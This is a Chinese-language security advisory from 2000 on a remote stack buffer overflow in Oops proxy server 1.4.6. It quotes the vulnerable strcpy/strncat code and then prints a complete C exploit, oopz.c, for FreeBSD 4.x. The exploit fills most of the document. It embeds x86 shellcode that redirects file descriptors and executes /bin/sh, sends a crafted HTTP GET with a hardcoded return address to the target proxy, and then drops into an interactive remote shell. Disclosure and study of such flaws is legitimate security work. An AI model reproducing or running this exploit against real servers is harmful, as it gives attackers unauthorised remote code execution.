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安全漏洞
Oops 1.4.6代理服务软件远程堆栈溢出漏洞

发布日期:2000-12-13
更新日期:2000-12-13

受影响系统:

Oops proxy server 1.4.6
描述:


Oops代理服务软件的某些版本存在一个远程堆溢栈出问题。攻击者可能远程在服务
器上执行任意代码。

下面是有问题的代码部分。

    /* check if this is full name */
    if ( !strchr(name, '.') ) {
if ( domain_name[0] ) /* join */ {
     strcpy((char*)tmpname, name);
     strncat((char*)tmpname, domain_name, sizeof(tmpname)-strlen((char*)tmpname) -1 );
     name=(char*)tmpname;
}
if ( (result = lookup_dns_cache((char*)tmpname, NULL, 0)) != 0 )
     return(result);
    }

tmpname是一个在堆栈中的缓冲区。由于使用了srcpy和strncat,使它发生溢出是可能的。



<*来源:Dmitry Galyant (diman@ASD.KIEV.UA) *>



测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!


/*--oopz.c---//-------------r-3-m-0-t-3---------------\\-------------*

TARGET    :    oops-1.4.6 (one russi4n proxy-server)
CLASS    :    remote
0S    :    FreeBSD 4.(0 - 2)
AUTH0R    :    diman
VEND0R    :    wanna payment for support. I'm not doing his job, yeh?
DATE    :    7-11-2k
N0TE    :    xploit was coded for fun only.
GREETS    :    &y, fm, JU$ (all for be a gOod guys)
*/

#define    BUFADDR        0xbfafe55f    // ret
#define OFFSET2        450        // second copy
#define RETOFF        1363        // ip offset

#include <stdio.h>
#include <string.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <netdb.h>
#include <unistd.h>

/*
   I found two offsets where our shellcode can be placed.
   Since ret value is hardcoded, we should use two copies
   of shellcode. But last part of the second copy can be
   corrupted during procedure processing. Solution is to
   check current offset of the shellcode and jump from
   second copy to the first one. Something like v1r11 :)
   Also we avoids large letters in the shellcode
   and some other characters. We simple dup2(33,0) before
   execve, so be sure you are only connected if you don't
   wanna provide sh3ll for someone else =)   Enough...
*/


int
shellcode(char* buf) {
__asm__("
    call    ne0;
ne0:    popl    %eax;
    nop;
    nop;
    LEN1 = sh - ne0 ;
    leal    LEN1(%eax),%eax;
    pushl    %eax;
    pushl    8(%ebp);
    call    strcpy;
    addl    $8,%esp;
    jmp    done;


//-----s-h-e-l-l-c-o-d-e---s-t-a-r-t-s---h-e-r-e--------//

sh:    .fill 6,1,0x90;        // magic nops
    jmp    me;
retme:    popl    %esi;
    nop;
    movl    %esi,%eax;
    DELTA = huh - sh - 450;
    negl    %eax;
    leal    DELTA(%eax),%eax;
    negl    %eax;
    movl    (%eax),%ebx;
    cmpl    $0x90909090,%ebx;
    je    huh;        // we are in the first copy yet
    movl    %esi,%eax;    // jump to first copy
    leal    -450(%eax),%eax;
    jmp    *%eax;
me:    call    retme;
    
huh:    .fill    5,1,0x90;    
    jmp    call0;        // just one more (we not shure where we are)
ret0:    popl    %esi;
    movl    (%esi),%ebx;    // decrypt /bin/sh
    subl    $0x30303030,%ebx;
    movl    %ebx,(%esi);
    movl    4(%esi),%ebx;
    subl    $0x30303030,%ebx;
    movl    %ebx,4(%esi);
    xorl    %eax,%eax;
    movl    %esi,%edi;
    negl    %edi;
    leal    -7(%edi),%edi;
    negl    %edi;
    movb    %al,(%edi);    // end it with 0
    jmp    prep;

call0:    call    ret0;    
    .byte    0x5f,0x92,0x99,0x9e,0x5f,0xa3,0x98,0xee,0x03; /* /bin/sh */

dup2:    leal    -4(%esp),%esp;
    movl    %ecx,(%esp);
    leal    -4(%esp),%esp;
    movl    $-33,%eax;
    negl    %eax;
    movl    %eax,(%esp);
    movl    $-0x5a,%eax;
    negl    %eax;
    leal    -4(%esp),%esp;    
    int    $0x80;
    negl    %esp;
    leal    -0xc(%esp),%esp;
    negl    %esp;
    ret;

prep:    xorl    %ecx,%ecx;
    call    dup2;
    movb    $1,%cl;
    call    dup2;
    movb    $2,%cl;
    call    dup2;

otgpdvt:
        xorl    %eax,%eax;
    leal    -4(%esp),%esp;
    movl    %eax,(%esp);    // 0
    leal    -4(%esp),%esp;    
    movl    %esi,(%esp);    // name
    movl    %esp,%edi;
    leal    -4(%esp),%esp;    
    movl    %eax,(%esp);    // envp
    leal    -4(%esp),%esp;    
    movl    %edi,(%esp);    // av[]
    leal    -4(%esp),%esp;
    movl    %esi,(%esp);    // name
    movb    $0x3b,%al;    // execve
    leal    -4(%esp),%esp;
    int    $0x80;
    xorl    %eax,%eax;
    movl    %eax,(%esp);
    movl    %eax,%ebx;
    movb    $1,%al;        // exit
    leal    -4(%esp),%esp;
    int    $0x80;
    nop;            // hip
    nop;            // hop
    .byte    0x00;
done:;
");
}


int res(char*,struct sockaddr_in *);
void spawned_shell(int sock);


main(int ac, char** av){
#define SZ    0x2000
#define FIL    0xbf
    char buf[SZ],buf2[SZ],*pc,c;
    int i,sock;
    struct sockaddr_in sin;        
    short port=3128;
    unsigned *pu;
    memset(buf,FIL,SZ);
    shellcode(buf);
    buf[strlen(buf)]=FIL;
    pc=&buf[OFFSET2];
    shellcode(pc);
    pc+=strlen(pc);
    *pc=FIL;
    pu=(unsigned*)&buf[RETOFF];
    *pu=BUFADDR;
    buf[RETOFF+4]=0;
    strcpy(buf2,"GET http://p");
    strcat(buf2,buf);
    strcat(buf2," HTTP/1.0\r\n\r\n");
    fprintf(stderr,"oops-1.4.6 remote xpl0it for 4.x by diman.\n");
    fprintf(stderr,"use for educational purpose only.\n");
    if(ac<2) {
        fprintf(stderr,"usage: ./oopz target_host [port, def=3128]\n");
        exit(0);
    }
    pc=av[1];
    if(ac>2) port=atoi(av[2]);
    if(!res(pc,&sin)) {
        fprintf(stderr,"can't resolve %s\n",pc);
        exit(0);
    }
    sock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
    sin.sin_port=htons(port);    
    if(connect(sock,(struct sockaddr*)&sin,sizeof(struct sockaddr))==-1) {
        fprintf(stderr,"can't connect %s:%d\n",pc,port);
        exit(0);
    }
    fprintf(stderr,"Connected. Sending surprise...\n");
    send(sock,buf2,strlen(buf2),0);
    spawned_shell(sock);
}


int res(char* host,struct sockaddr_in * ps)
{
    struct hostent *he;
    bzero(ps,sizeof(struct sockaddr_in));
    ps->sin_family=AF_INET;
    ps->sin_len=sizeof(struct sockaddr_in);
    if(!inet_aton(host,&ps->sin_addr))
    {    
        he=gethostbyname2(host,AF_INET);
        if(!he) return 0;
        memcpy(&ps->sin_addr,he->h_addr_list[0],sizeof(struct in_addr));
    }
    return 1;
}



/*
    Next was ripped from wildcoyote's gopher sploit.
*/
void spawned_shell(int sock){
    char buf[1024];
    fd_set rset;
    int i;
while (1)
{
      FD_ZERO(&rset);
      FD_SET(sock,&rset);
      FD_SET(STDIN_FILENO,&rset);
      select(sock+1,&rset,NULL,NULL,NULL);
      if (FD_ISSET(sock,&rset)) {
           i=read(sock,buf,1024);
           if (i <= 0){
                 fprintf(stderr,"Connection lost.\n");
                 exit(0);
           }
           buf[i]=0;
           puts(buf);
      }
      if (FD_ISSET(STDIN_FILENO,&rset))
      {
           i=read(STDIN_FILENO,buf,1024);
           if (i>0){
            buf[i]=0;
             if(write(sock,buf,i)<0){
                 fprintf(stderr,"Connection lost.\n");
                 exit(0);
             }
           }
      }
}
}
/*---------------------e-n-d---o-f---o-o-p-z-.-c------------------*/


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